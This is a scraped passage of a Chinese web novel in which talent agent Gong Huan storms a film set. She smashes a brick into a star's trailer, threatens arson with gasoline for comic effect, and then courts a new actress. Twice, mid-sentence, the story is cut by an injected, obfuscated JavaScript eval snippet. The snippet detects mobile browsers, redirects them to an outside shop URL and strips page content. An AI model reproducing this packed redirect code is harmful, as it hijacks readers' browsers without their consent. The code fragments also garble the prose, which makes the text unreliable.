宫欢压着火,眼神紧盯着工作人员,越听脸色越难看。 ...... 听完全过程后,宫欢直接气笑了,眼神冰冷,拉着脸。 工作人员急忙撇清关系准备溜走:“那个,你记得别跟别人说啊——” 宫欢将包随手扔到一边,目光四处搜寻,“你们道具都放在哪儿?” “你,你要干嘛啊?等等!那边非工作人员不能进去!!” 不顾工作人员的阻拦,宫欢大步在剧组内明目张胆地到处转,找到堆放道具的地方后,进去一阵叮铃咣当地翻找。 工作人员紧跟在她身后,想拦又感觉这人不好惹:“真不能乱进!姐啊,这位姐,你要找什么啊,我帮您找!” “高义南在哪?”宫欢拿起一截棒球棒,在手里掂量掂量,觉得太轻,又“咻”地朝身后丢开。 工作人员一个闪身躲开飞旋而来的棒球棍:“他,他在房车里面睡觉啊?” “睡觉?他居然还睡得着!?”宫欢又翻出一大块红砖,砖头的边角染着斑驳血迹,貌似是拍悬疑剧用的,她两只手来回抛了两下,“不行,这个砸不死。”又往后扔了。 工作人员再次灵活地闪开,后悔地拽住宫欢,阻止她这些涉及犯罪的举动: “我说这位姐啊,您别吓我了,高老师是什么人物,你不会真的要找他算账吧?昨天那小姑娘都没吭声,知道惹不起他,您干嘛非要去以身犯险啊!” 宫欢被拽住半边胳膊,另一只手却紧跟着提出一大桶汽油,她扭过头,甩开被抓住的手指着自己说:“认识我这张脸吗?” 这工作人员是组里负责打杂的,看了宫欢一会儿非常有眼色地说:“认识认识!您是那个——那个——那个——哎呀看我这记性,就在嘴边了说不出来!” 宫欢点点头,抬起手拍了拍他肩膀:“不认识就好,你现在躲开,当做没看见我。” 说着宫欢两手提起那桶汽油拖拽着往房车那边走,拧开盖子就开始一路撒。 工作人员吓得魂儿都要飞,胆战心惊地扑上去,一把抱住汽油桶死活不让宫欢拖走:“不行!绝对不行!你要是炸了高老师我们剧组也得完蛋!” “谁说我要炸他。”宫欢反问道,“我只是贴心地去给“高老师”的房车加油,让他享受更好更尊贵的待遇。” 工作人员指了指自己的脸,宫欢问:“干嘛?” “您看我像傻子吗?” 眼见计划行不通,宫欢只好一甩手丢开汽油桶,坐在一边喘了会气。 工作人员收拾好汽油桶,把撒出来的汽油用土盖了盖,才过来探口风:“姐,您是女二的什么人啊?特意来给她出气,是她姐姐吗?” “这就说来话长了......” 宫欢抬起手,手指做出个夹烟的动作,这人连忙掏出烟给她一根,接着又拿出打火机准备点烟。 就在这时,宫欢眼疾手快地一把夺过打火机,大张旗鼓地作势要点火烧了房车。 工作人员抱着头大叫,跑去找人求助:“疯了,疯了!啊啊啊快来人啊!!我拦不住她了!” 等工作人员跑远了,宫欢丢掉打火机,又捡回刚才丢的那块砖头,朝着房车玻璃用力丢进去,哗啦一声,砖头砸破了车窗! “睡,我让你睡,睡你个头!”宫欢继而骂骂咧咧地抬脚大力踹向房车门,试图把门踹开,车身剧烈摇晃几下,“欺负我的人,你算哪堆垃圾!?给我死出来!” - 早晨六七点。 层层朵朵的白云后方露出太阳,洒落下一片金灿,柔和的光线穿过房车玻璃,投在薄纱窗帘上,玻璃缝隙间有些许阳光透进了车内。 高义南睡得正香,这个季节不冷不热,睡觉很舒服。 他紧闭着双眼,睡梦中隐约感觉车身摇晃了一下,皱着眉翻了个身,心想可能是助理在收拾东西吧。 没等他睡着,车外接连传来两声哗啦哗啦的玻璃碎响声,距离不远不近,像是他车子附近的。 心里多少有点操心。 高义南睁开眼,起身下了床,准备走出卧室去外面看看什么情况。 一打开门,一块砖头砸烂车窗,伴随着哗啦碎裂声迎面而来,精准命中高义南的脸! 砖头将他砸得整个人后仰倒地,鼻血飞溅,刹那间整张脸血红一片,高义南捂着剧痛的脸,惨叫出声:“啊啊啊啊——我的脸!!” 房车内有两个休息房间,助理匆匆穿上外套从房间出来,看见万千粉丝高高捧起的一线电影演员高老师如此狼狈的一面,惊愕在原地愣了几秒。 高义南一只眼睛勉强能睁开,看见助理愣在那,气不打一处来:“愣在那干嘛!赶紧扶我起来啊!” 助理回过神,忙把人扶起来。 两人忽然听见房车外面传来一阵叫骂声,声音尖利,叽叽哇哇地骂着一连串的话,紧接着房车又摇晃了两下。 什么情况? 高义南颤抖着手指着房车门:“你,你去看看,外面到底怎么回事。” 助理感觉有点危险,但为了挣这份钱只得小心翼翼地走到房门后面,半蹲着身体,谨慎而又小心地拉开车门—— “长得二五八万人模狗样,干得全不是人事!那点芝麻大的脑容量也就装装他那点心眼了,一张嘴说话全是放屁,让人恶心作呕!就这么个禽兽不如的东西——你叫他什么,高老师?他配那两个字吗?完全是对这个词的侮辱!” “放开我!谁敢拉着我!我今天不弄死他我就不信宫!” 车门刚一打开,叫骂声陡然清晰起来,音量一下加大,每个字词都清清楚楚地传进房车里。 高义南听清后脸色青紫蓝白地变换,他颤颤巍巍地撑起身体往外走,整张脸和眼睛都被血模糊了,根本看不清路。 助理连忙扶住他,两人生怕又有砖头砸进来,缩着身子从房车里钻出去。 房车停在一片草坪上,离车门几步远的地方是三四个人拽着拉着一个长发女人劝导,几人身边散落着铁棍、砖头、铅球、汽油桶等等物品。 “快找医生过来,”助理急忙说道,“高老师受伤了!” 她一说话,众人的目光齐齐落在了高义南身上,这时高义南才看清叫骂的女人是谁,他脸色铁青,情绪起伏极大,导致声音都像是从嗓子里挤出来的声音:“宫欢!?” 宫欢一扭头看见这傻逼,目光在他身上来回扫,嘲讽地勾起嘴角:“我还是很熟练的嘛,一下就命中了。” 剧组的副导这时赶了过来,看见男主演一线大腕满脸的血,人差点吓晕过去,“哎哟我的天爷啊,赶紧赶紧,快开车过来!” “现在一个个的知道急了?怕人死了?”宫欢挣开那几个一直拽着她的工作人员,目光落在高义南身上,上下来回地看了一圈,“我看不是好好的吗,能说话能走路,再拍个十几场戏也不在话下啊。” 高义南捂着脸,咬牙切齿地像是想生啃了宫欢:“你来这做什么!?宫欢,我跟你好像没来往,你闲得来作死么?你知不知道我这这张脸值多少钱!!今天的事传出去你以后都别想在娱乐圈混了!就凭你的口碑,封杀就是一眨眼的事!” “哦哟哟~我好怕哦,以后要被逐出娱乐圈了,再也赚不到上千万的出场费了呢。” 宫欢夸张地拍拍胸口,显出一副害怕的样子,眼睛却翻了个大大的白眼,最后看向高义南,她的话全是在内涵他。 “您这张脸,皮又松又垮,下巴填充了多少东西啊,”宫欢说,“哎呀,您脸上怎么那么多的血,不会是被自己扎的吧,以后起床可得注意点儿,别一不小心被什么砖头啊、桌子椅子啊给砸着了。” 副导在旁边拽着她劝道:“欢姐啊,算我求您了,别再闹大了,他那张脸是真的贵,我们赔不起!” “脸再贵能有人命贵!?” 宫欢眉头一横,收敛了阴阳的态度,变得严厉泼辣,她瞥了眼副导,又冷眼看着高义南,厉声道:“昨天,我的人在水里泡了一整天,整整一天啊!她生理期本来就不舒服,吭都不敢吭一声怕影响拍摄进度,结果全让你出风头欺负她了是吧,现在人都还躺在床上高烧昏迷,你睡得倒挺香啊!?你哪来的脸?良心真过得去啊,不对,良心被你同伴给吃了。” “怎么,您大明星的脸值钱,我的小演员就不配有尊严了!?” 宫欢说着一步一步往前,后面几个人愣是一点都拽不动她:“一场烂俗的雨中送伞剧情,你大爷的拍几十遍,不就是成心为难她吗——她一个小姑娘,哪儿做得不对你说几句她自己就能难受几天,那么单纯一孩子,你多恶毒啊这样折腾她!脑子跟智商都被蛆啃了吧!” “我砸你都算是轻的,要不是他们拦我,车我都得给你炸了,当场送你去西天,骨灰都给你现场扬了!” “什么垃圾演技啊你,一场戏NG那么多次你做什么演员,现在演员是随随便便就可以做的是吧?长这么一张拖鞋脸都能上电视了哈?我看观众要求还是太低了。” 众人大多都清楚宫欢的性格,可现场观看的氛围还是不一样,一众人没一个敢吱声打断她的。 高义南被骂得狗血淋头。 他这会慢慢反应过来,女二是宫欢的艺人,这会是给她出气来了,他不甘示弱地试图反怼几句: “你说什么欺负,我听不懂。” “拍戏NG几次不是正常的吗,我还没怪她一个新人浪费我的时间不停NG。不会演戏就别演,我看她也不是专业科班的演员,做人要讲道理,宫欢,你不分青红皂白地来找我一顿骂,搞清楚事情原委了吗?” 说着高义南提高声音看向副导演那边的七八个工作人员:“昨天谁看到我欺负新人了,我是不是一直都非常耐心地配合,连脸都没有黑过,圈里有几个人能做到像我这样?” 众人看看宫欢,又看看高义南,默默低头不语。 宫欢气笑了:“你脸不黑心黑啊,那谁看得见,我告诉你高义南,从今天开始你再给她下马威,我不管你是多大的腕,网上舆论怎么炒,我都跟你玩到底!” “别说脸破相了,你就是残了我都照样赔钱!赔完继续打!” “你!” 高义南死死盯着宫欢,脸上剧痛无比,心里愤恨不已。他怎么都想不通,一个新人怎么就值得她大张旗鼓地闹过来,不惜毁他的脸! 难不成那女二是她亲戚? 可看着不像啊,她连个助理都没有,明显是不被关注的小角色。 助理手忙脚乱地给高义南擦脸上的血,副导让几个工作人员提着医药箱过来给高义南处理伤口。 两方对峙时,剧组导演终于过来了。 刘导两条短腿前后飞快扑腾跑着过来,人急得满头都是汗,还没到跟前,声音先传来:“怎么回事啊!你们都在搞什么!?” “搞什么,搞人啊。”宫欢搭了句话,她正抱着手臂气势汹汹地瞪着对面同样怒气满满的高义南。 刘导看见宫欢,视线随着她看向高义南,满脸的血擦了一半,他当即心里咯噔一下,脸色凝重起来:“宫欢,你这又在折腾什么!” 来的时候工作人员说得不太清楚,只说了宫欢和高义南杠起来了,刘导便匆匆赶来。 宫欢正觉得气没撒够呢,她眉眼带着火气,转头对着刘导就开怼:“我能折腾什么,我一个刚签的宝贝新人送来剧组拍戏,没几天人就病得高烧昏迷。刘导,剧本是我请求你给的,您就算不愿意也不能这样折腾我家艺人啊!” 刘导更是惊讶:“高烧?昏迷?” 宫欢似嘲讽地一笑:“您别说不知道,昨天您坐在监视器后面看着拍的戏,就那么送伞的一个剧情,来来回回拍了几十遍,玩过家家呢?” “宫欢,”刘导神情严肃地跟她解释,“电影的拍摄过程有时候就是一个镜头要拍很多遍,就为了达到一个最佳状态,我可以向你保证,剧组绝对不存在故意为难谁的问题。” “我信,刘导,您的人品我可以相信,”宫欢说,“但是这不代表他高义南就没存坏心了。您放心,这是我跟他的恩怨,绝对不牵扯剧组。” “这怎么会不牵扯剧组!”刘导看了眼高义南,拉了拉宫欢衣服,跟她侧过身说,“他后面有投资方的背景,你这样闹,回头这部电影都得撤资!” “宫欢,不要意气用事,你去跟他服个软,他的脸要是留疤了,回头我们都得被他的粉丝炮轰!” 宫欢静了几秒,很干脆地跟导演比了个OK。 刘导还想劝说的话堵在喉咙里,这么简单就......同意了? 只见宫欢转身,朝高义南走了几步,高义南条件反射地往后躲,最后背贴上了房车,退无可退,他指着宫欢破声惊恐道:“你,你别过来啊!你要干嘛!?” 宫欢眼神里全是不屑,身后是刘导期待的眼神,她说:“刘导说让你给我家小甘服个软,这事儿就算过去了。” “哎!对——哎?”刘导安心的表情僵在脸上,他刚才听到了什么? 原本只有十几个剧组人员围绕的场面,慢慢越来越多人围了过来,都是来看八卦现场的。 众人看见高义南攥紧了拳头,大口呼吸,眼神凶狠,像是要打人,一个个都做好了这事会大闹特闹的准备。 但没想到这位被捧到电影圈一线的演员,口碑极好的大腕,一字一顿地说:“好,是我不对,我不应该欺负新人。” 一众剧组人员和刘导皆是目瞪口呆,甚至怀疑自己听错了。 高义南背后可是有投资方坐镇,怎么会这么轻易就答应道歉了? 他人好? 不不不,外面的人不知道,他们还能不知道吗,高义南是非常傲慢不好伺候的那类明星。 剧组的工作人员交头接耳起来。 虽然不知道事情怎么发展到双方愿意和解的地步,刘导还是让人都散了。 闹过这么一通,算是立下了——她宫欢的艺人不好惹的威名。 “行,那事情就先这样吧,”宫欢勉强咽下这口气,拎着包转身走了。 她背朝着导演挥手,“走了啊刘导,我得回去看看我那可怜的小演员了,还发着烧呢。” 高高拿起,轻轻放下。 宫欢这种行事作风还真是让人措手不及。 刘导招呼着人把高义南送上车,载去医院检查一下伤口。 ——真要破了相,这电影估计要经过一番波折。 车上,助理不停给高义南擦血,吓得手都在发抖:“哥,怎么办啊,要不要跟公司说啊?” 高义南本就一直拉着的脸这会更是阴沉得厉害,脸上的血渍被汗水稀释,头发也油腻湿漉,两只眼睛被血渍刺激得半睁半合,看上去格外狼狈可笑:“说什么,说我被宫欢打了?” 助理只怕担责任:“可是,可是万一——” “没有万一!”高义南冷声打断她,猛然抬手挥落医药箱,大大小小的药瓶滚落一地,他语气阴狠:“就算留疤了,我也有办法火!哪怕是做营销也照样火!宫欢……宫欢也别想就这么过去了。” 助理被他情绪化的举动惊到,手里举着棉签不敢给他擦拭伤口,她试图转移话题,小心翼翼地问:“您,您刚才为什么答应给宫欢道歉,就算不道歉,您有投资方在后面,她知道了肯定就不敢惹您了……” “你懂个屁!” 高义南骂道,闭着眼躺在靠背上,平复心里那股愤怒。 他当然得答应道歉,背后有公司,有投资方恐怕都不够,宫欢不是他能惹得起的人。 这么个娱乐圈混子,黑料满天飞、行事作风高调又张狂却一直没被封杀,明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126346|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有背景的那号人。 高义南和宫欢不熟,但他之前听谁提过,国内有个低调从不外扬的商界财团——宫氏集团。 宫欢的姓氏在圈内找不到第二个,高义南猜测,她恐怕是宫氏集团的人,能少惹就少惹吧。 但是这事儿,他绝不会就这么吞下去。 - 宫欢开车来到酒店附近。 闹完这么一场后,时间也才不过9点,她下车买了七八份早餐,径直进了酒店找到甘惊鸿所在的酒店房间。 两只手提的全是吃食,宫欢只好抬脚踢了踢门:“哒哒——” 过了几秒,酒店门被从里面打开,司机姐姐的脸露了出来,眉心紧锁,看着很担忧的样子:“你来啦。” 门拉开将宫欢迎进去,宫欢举了举两手的早餐:“辛苦你照顾她一晚上,我买了早餐,先吃点垫垫肚子吧。” 宫欢怕人还睡着,小声问了句:“她怎么样了?” “还有点低烧,”司机姐姐关上门,帮宫欢分担了些东西,两人往里走,“昨天我来的时候她脸色白的好吓人,缩着身体看起来很痛的样子,我给她弄了些红糖水,又吃了些药,应该好点了。” 将十来样早餐放在客厅桌子上,司机姐姐感觉有些夸张:“你怎么买这么多,我们三个人也吃不完啊。” 宫欢从面包可颂咖啡到包子大饼豆浆,中式西式的早餐都买了个遍,她放下后揉了揉手心被勒出来的红痕:“我怕你们吃不惯,就都买了。没事,先吃,吃不完给保洁阿姨她们拿点。你先吃,吃完休息会,忙一晚上了吧。” 司机师傅没多客气,拿起食物便狼吞虎咽地吃了起来。 这间酒店套房客厅和卧室中间用推拉磨砂玻璃门隔开了一半。宫欢走进卧室,看见甘惊鸿额头上盖着一块毛巾,脸色苍白,整个人缩在薄被里只露出了脑袋,看着可怜得很。 宫欢心里默默叹气。 她没有照顾好她,但凡有个人陪着甘惊鸿都不会让事情发展到这一步。 宫欢拿出手机,立即就给高姐发消息:【马上招10个助理,速度。】 发完消息看也不看地锁屏了,宫欢走到床边,伸手探了探甘惊鸿额头的温度,确实不太烫了,再过段时间应该就能退烧。 还好人没事,不然宫欢真得把高义南手撕了。 似乎是感觉到身边的气息,甘惊鸿眼皮微动,睁开了一条缝隙,迷迷糊糊地看见床边坐着的人,她虚弱地叫了声:“欢姐......” “我在呢,在呢,”宫欢给她掖了掖被子,操碎了心,“这次是我不对,不应该把你一个人丢在剧组,害你被人欺负,你放心,我后面给你配10个助理保护你,绝对不会再有人欺负你了。” 甘惊鸿声音小小的,很虚弱,说几个字就要小口呼吸几下:“不、怪你,我没事。” 她说着将手臂从薄被里伸出来,攥拳朝上举,大臂上的肱二头肌非常发达,证明自己似的说:“...我身体,好。” 宫欢看着那一坨肌肉傻眼,怎么几天不见清纯小白花变成肌肉妹妹了:“你什么时候练出来的,怎么练的?” 甘惊鸿撑着身体坐起身,虚弱地咳嗽两下。 宫欢将枕头帮她扶好放在腰后垫着,她眼神涣散,说话都是轻飘飘地:“几点了,我要去剧组,拍戏。” “九点多,还早,”宫欢说,“还拍什么啊,你先休息好了再说。” 甘惊鸿却坚持着往床下爬,嘴里喃喃自语:“不行,拍,拍戏,一条过。” 宫欢强行把人拉回来塞进被子里,转了转眼睛说:“男主进医院了,暂时拍不了。” “进医院?”甘惊鸿虚弱地看着宫欢,重复了一遍,不知道在想什么,最后蹦出一句,“他死了吗?” 宫欢:“我非常理解你对他美好的祝愿,但他没有。” 甘惊鸿又躺了回去,缩着脑袋恹恹地,手摸索到旁边放着的剧本,拿起来眼睛虚焦地盯着看,嘴里偶尔念出一两句台词:“你们不要再打他了,实在想打的话,就打死吧。” “下手为什么那么轻,是没有吃饭吗?” 她似乎沉浸在自己的世界里,宫欢默默退到客厅,表情复杂地问司机师傅:“她昨天就这样吗?” 司机师傅吃着包子嘴里含糊道:“一整夜都在说“我要杀了你”、“我会记住你的”、“等我走上人生巅峰”、“拿回属于我的一切”之类的话,气得不轻呢。” 宫欢:“......”孩子气性怪大的。 - 一天过去,甘惊鸿退了烧,恢复了一点精神就急着要去剧组沉浸角色。 宫欢只得陪着一起。 这期间刘导给她发消息说,高义南在医院处理了下伤势,没留疤没破相,只是出了些血。 那一砖头的杀伤力只让他掉了些血条,人居然还好好的。 宫欢心里一阵不爽,却又不得不承认这是最好的结果,电影还可以继续拍,甘惊鸿还可以继续演女二。 一个个都没问题,自然要来剧组。 于是这一天,一伤一病的两位主演都回来了,像是什么都没发生过的拍着戏。 这场拍摄的是男主在学校操场罚跑,女二送水的戏份。 剧组的工作人员们无比安静,眼神却不由自主地飘向坐在躺椅上翘起二郎腿监工的宫欢,她带着墨镜喝着果汁,坐在刘导后面看两人演戏。 高义南饰演的男主满头大汗,顶着大中午的太阳在操场上一圈圈地跑着。 单虹吃过午饭,准备去教室。经过操场时看见一个人在沉默地绕操场跑步,身上的汗水将衣服都打湿了,长时间的出汗需要补充水分。 她想了想,去自助贩卖机旁边买了一瓶水,在男主跑过时将水递给他。 男主当即愣住,怔怔地看着单虹。 他们并不认识,为什么...... 男主想了很多,直到冰镇的饮料塞入怀里,一下让人清醒过来。 单虹却慢慢走远了,像只是随手帮助了同学,并没将这件事放在心上。 “卡——这条过了。”刘导喊道。 一遍过,这监工比导演都灵。 众人收拾道具准备下一场拍摄,高义南那边的助理跑过去给他撑伞擦汗递水,一套动作服务到位。 甘惊鸿绕过他们走回来,宫欢拿起另一杯果汁递给她:“喝点。” 甘惊鸿摇摇头坐在她旁边的板凳上,她低头继续看剧本:“糖分太高了,容易胖。” “哎,还是你们省心,”宫欢感叹道,“萧子重那几个天天都要我盯着,一眼看不见就去胡吃海塞了。” 提起萧子重,甘惊鸿分神出来问她:“前辈他们彩排得怎么样,节目什么时候开播啊,我到时候有空了去看。” 宫欢抿了口果汁,砸吧嘴说:“也挺麻烦的,那边有灿星的TXT男团在捣乱,我还在想怎么防着他们的营销手段。明天下午就会开播,到时候还要给他们三个打气,不知道第一次上台会不会发怵。” “明天下午?”甘惊鸿诧异,“那,欢姐你现在快回去啊,他们那边正是关键时候。” 宫欢眨眼:“你这边也关键啊,都被欺负成那样了让我怎么放心。我再守一守看看高义南还会不会作妖,明天回电视台也来得及。” 两人完全就是在刘导身后你一言我一语的嘀嘀咕咕,音量一点儿都没减,刘导默默转过头插话:“你们把我当空气吗,这里是我的剧组,不是你们斗法的地方,上次是我没注意到那么多,以后不会再发生类似的事情了。” 宫欢嘬了两口果汁,怀疑地看着刘导:“您不会屈服在大明星的手段下吗?” 刘导也来脾气了:“我上一部影片都提名奖项了,不管是多大的明星,总要配合导演吧,你在质疑我的威信?” 宫欢认真地想着,甘惊鸿又举起自己手臂秀肌肉:“我可是练过了的,绝对不会再被人欺负了,欢姐你就放心地去吧。” 这话听起来怪怪的。 不过宫欢想应该不会出大问题了,她都闹得那么凶,高义南再折腾那真就是找死了。 “好吧。” 宫欢喝完果汁从躺椅里起身伸了个懒腰,好像是来度假的,她两手搭在甘惊鸿肩膀上轻轻抱了抱她,然后看着人说:“那你好好的拍戏,我已经让高姐那边找人过来了,明天应该能到。” 甘惊鸿抱着剧本,点点头应声:“好。” 交代完一切后,宫欢还凶巴巴地凝视了一阵高义南,把人看得浑身不自在,感觉快要当场跑路罢拍了。 眼神威胁到位,她才拎着包大摇大摆地离开剧组。 56. 性感标签(赵莉莉) 忙了一天一夜,宫欢还没吃顿安稳饭。 离开【皎皎月明】剧组后,她来到竖店影视城内的一家面馆点了碗面。 这里的面馆都非常有特色,因为影视城的每个分区不同,每个区的内部布局也都统一风格。宫欢这会儿在现代街区,面馆的整体装潢偏文艺自然。 面馆外面隔了几步的距离还有剧组在拍戏,她点的小面上来后就吃了起来,边吃边看着店外的剧组是在拍什么剧情桥段。 作为一个合格的经纪人,要用尽手段在各种地方找遍资源。 影视城自然也包括在内。 这家面馆的楼上二层被租赁出去做为拍摄基地,地板隔音很差,来来回回的脚步声很明显,吱呀吱呀的吵人。 宫欢坐在窗边的位置嗦着面,只听见又是一声吱呀,她不由得皱起眉,但这一声很近,抬头一看,就在面馆对面。 这家面馆恰好卡在现代街区与古代街区的中间,面馆前面有条小河,河上的一座拱桥上有来来往往的群演,河的对面则是一家古代客栈。 那边靠窗的位置,开了半扇窗,隐约看见一个女人坐在窗前梳头发,一个男人在她后面来回走动。 准备快点吃完走人时,那边传来交谈声,宫欢的八卦心一下就拉到了最高。 “你这是在得罪他们,拍不拍这段剧情是我们能说了算的吗?”男人说,“能不能别把自己太当回事,你的戏路就这么宽,还想怎么着啊?” “......” “要我说你还是整容算了,微调一下。”男人说。 “不可能。”女人的声音出现,很柔和却透着不容置疑,半扇窗口里透出她白藕似的手臂,长且白,骨肉匀称,她将手里的梳子轻轻放在桌上。 宫欢一下就听直了耳朵,坐直了身体,费力仰头往小河对面看,面条都忘记吃。 女人侧过身体,朝男人说:“你看看我这张脸,我需要整容吗?” 男人说:“我承认你漂亮,风格独特,但是现在你漂亮又有什么用,赵莉莉,你现在的风格就是走的性感路线,你就要往这方面去努力啊。” 赵莉莉? 怎么有点耳熟。 宫欢歪着头想了会,想到是谁后猛拍大腿。 卧槽,不是那个,那个那个——一直以性感、美艳风格示众的女明星吗? 赵莉莉,二线艺人,出演过几部电视剧和电影中的配角,每个角色都是被一些污名化的人物,而赵莉莉饰演角色时的一些着装也颇受争议。 比如出演寡妇时穿着坦胸漏乳,饰演青楼女子时身上只有两三块布料,不少娱乐新闻都夸大、放大赵莉莉的身材,而忽略了她的演技。 宫欢刚才听见那男的说让她去整容。 天呐,傻逼吧。 赵莉莉还需要整容? 宫欢之前看到赵莉莉的娱乐新闻时,最先被吸引的反而是她的那张脸。 非常标志的鹅蛋脸,脸型小,五官均匀的在脸上铺开,眼睛柔而媚,鼻梁不高,顺从地在面中起到了缩短中庭的作用,使得人一眼看过去,除了非常有魅力的眼睛外,其他的五官在面部也都非常协调,又有特色。 她当时就在想,这样美艳型的明星艺人,最好接时尚代言了,五官优越,脸型小,气质魅力超过不少新晋小花草们。 但不知是什么原因,赵莉莉的资源一直不太好,总是饰演一些艳俗角色,一直没有很大的水花,到现在为止最受争议的还是她的身材。 宫欢正出神地想着那些八卦,只见对面的窗口里,穿着旗袍的赵莉莉端起桌上的茶盏,她五指纤细白皙,指甲修得很漂亮,微长的本甲下透着淡淡的薄粉,非常漂亮的一双手。 而这双漂亮的手,优雅地将那杯茶泼向了男人,赵莉莉站起身:“你想都不要想,我是没什么好资源,一直这么混着,但是我也不是傻,该做什么才是对自己好,我心里是有数的。” “我们的合约正好也到期了,就这样吧,大家理念不合,再这样下去也是互相费心费神,还不如好聚好散。” “赵莉莉,你别不识好歹!”男人气急败坏地抹了把脸,指着赵莉莉骂,“多少人想抢这个角色还抢不到,你倒好,还挑起来了!解约就解约!我倒要看看你现在这个名声谁能把你捧成角!” 男人气急败坏地摔门出去。 赵莉莉的背影看起来十分冷静,长直的黑发散在身后,看着柔柔袅袅,亭亭玉立的一个大美人。 宫欢早就没吃面了,托着下巴看对面窗口。 她琢磨着,她现在有关清英这种英气型女星,但戏路太窄,转型困难。 甘惊鸿年纪还小,气质和个人魅力没完全成长起来,她的个人气势,拍小剧还好,大剧目前抗不起来,再加上又太年轻,还需要很长时间的磨练。 男团那仨没个一二三,想接到高奢代言之类的简直是在做梦,他们差得远着呢,需要时间培养。 这位美艳型艺人正逢解约关头,宫欢动了心思。 小桥流水隔开的另一边景区。 赵莉莉微微叹了口气,转过身正准备坐回镜子前梳头发,半开的那扇窗口突兀地出现半个身子、和一张明艳的脸。 “你——”赵莉莉受到了惊吓,却没太大动静,只是眼眸微睁,一眼就认出了她,“宫欢?” 没等宫欢自我介绍,赵莉莉轻轻笑了笑,眼神里流露出看透的神色:“刚才就是你在对面偷听?” 啊哈,被发现了。 宫欢不觉得有问题,靠在窗口胡乱编话:“那哪叫偷听啊,话自己飘我耳朵里了,我也没办法呀。” 离近了宫欢发现赵莉莉的五官那是真好看,她应该有30岁了,脸上的骨骼与皮肉贴合得极好,一点皱纹都没有,皮肤白里透红,嫩得像鸡蛋。 宫欢不由自主地张嘴就夸,赞叹她的美貌: “那男的到底怎么想的,居然让您去整容,眼瞎了吧!长得这么国色天香,清水芙蓉,出淤泥而不染的一张脸,光是存在就伟大的让人心旷神怡,千万千万不要整啊!” 管她是谁,上来先夸一通,保准谁都会笑。 她这招对奚亭云那木头都用过,赵莉莉肯定也受用。 坐在梳妆镜前的赵莉莉拿起木梳,继续梳着一头浓密黑顺的长发,侧脸也是一绝,她低着头,声音柔软:“整不整我当然心里有数,你过来就是为了和我说这个吗。” 碰了个软钉子。 赵莉莉说话的音独带一种柔媚的调调,听着就让人心里痒痒的。 宫欢那嘴直接就咧起来了:“还是被您给看出来了,哈哈哈哈,真是独具慧眼!其实,我刚才听见您和那位先生聊的内容了,他应该是您的经纪人吧,我觉得他非常的不合格——” 宫欢夸张地说:“这几年您的角色我看过一些,明明可以出演更加有魅力的角色,却因为一些导演的恶趣味裸露皮肤,因为这些故意丑化的卖俗形象,您所出演的角色出来的效果大打折扣!” “你对角色的理解和演技都被那些恶俗话题掩盖了过去,没人看到你对角色的刻画,对台词的理解,你出演的那个寡妇,最后被流言蜚语逼得无法生存,你在电影里的最后那一幕的眼神戏,堪称我心中的最完美演技奖!” 宫欢妙语连珠,眼睛注意着赵莉莉的举动,她虽然仍在不动声色地梳头发,可其实已经听进去宫欢的话了。 成熟的艺人和奚亭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126347|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云他们素人不一样,赵莉莉和关清英这样的艺人对自身当前的困境都非常清楚。 她们受限于种种困境——外形,年龄,资源,或是更多的让人为难的原因。 她们知道自己面临着什么,尝试如何跳出来,可一切哪有那么简单,不是想演戏就能好好演戏。 演戏之前要有剧本,有导演看中你,有公司愿意去捧你,有顺利不会被抢角的各种因素。 可怎么可能呢? 世事无常,没有谁会一直顺遂,要么她们只能等一个机会,要么只能在洪流中慢慢被遗忘。 而人,最大的问题就是野心与欲望。 赵莉莉听着宫欢说了一堆,慢慢放下手里的梳子,听不出情绪地说:“所以,您这位受尽关注的经纪人,是想和我合作,签约代理合同,代理我的影视商务?” 宫欢顿了顿,眼珠转了一圈:“确切的说是,您作为演员的所有活动。抱歉,我可能有点狮子大开口,我目前非常需要一位艺人晋升咖位后快速接到商务代言,您的形象条件毋庸置疑是非常完美,适合的。” “跟你签合约我有什么好处?”赵莉莉不置可否,用手捋了捋黑亮长发,“你会不会也让我去整容?” 她长发养得很漂亮,宫欢一度想,可以接个洗发水广告。 “我暂时不能许诺能给您什么具体的好处。” 宫欢如实说,她看着年轻,却非常有劲头,眼神亮晶晶地带着冲劲: “但我可以保证,我会尊重艺人的选择,而且在我力所能及的范围内为艺人争取所有最好的资源,我会在每个艺人身上都投注我的全部精力与热血,本来经纪人与艺人就是一个双向互利互助的一个存在。” “您信任我,我才能放心去做,当然,我信任您,也会尊重您的坚持。” 宫欢叽里呱啦说了一堆,看着赵莉莉略有思索,却没表态。 毕竟是成熟艺人,做任何决定自然都是经过深思熟虑的反复思考。 不一定要让她当场给个答复。 宫欢不再多说,她诚恳而认真地对赵莉莉笑笑:“没关系,您可以慢慢想,毕竟关系到未来。”她从手提包里拿出名片,越过木窗放在梳妆台的边角上:“这是我的名片,如果您想好了,可以随时联系我,上面也有我的地址。” 宫欢说完,谦虚地笑着准备离开时。 “等等。”赵莉莉叫住宫欢。 她直视着面前这个年轻的女孩。 网上关于她的传闻如她一样混乱,复杂,恶劣言论层出不穷,有看笑话的,当乐子的,随意点评的各种恶臭评价。 而宫欢出现时,赵莉莉从她身上感受到的却是一种干净热烈的气息,还有那双圆亮的眼睛,透着自信张扬,不服软的蓬勃感。 认识一个人很难,却也很简单。 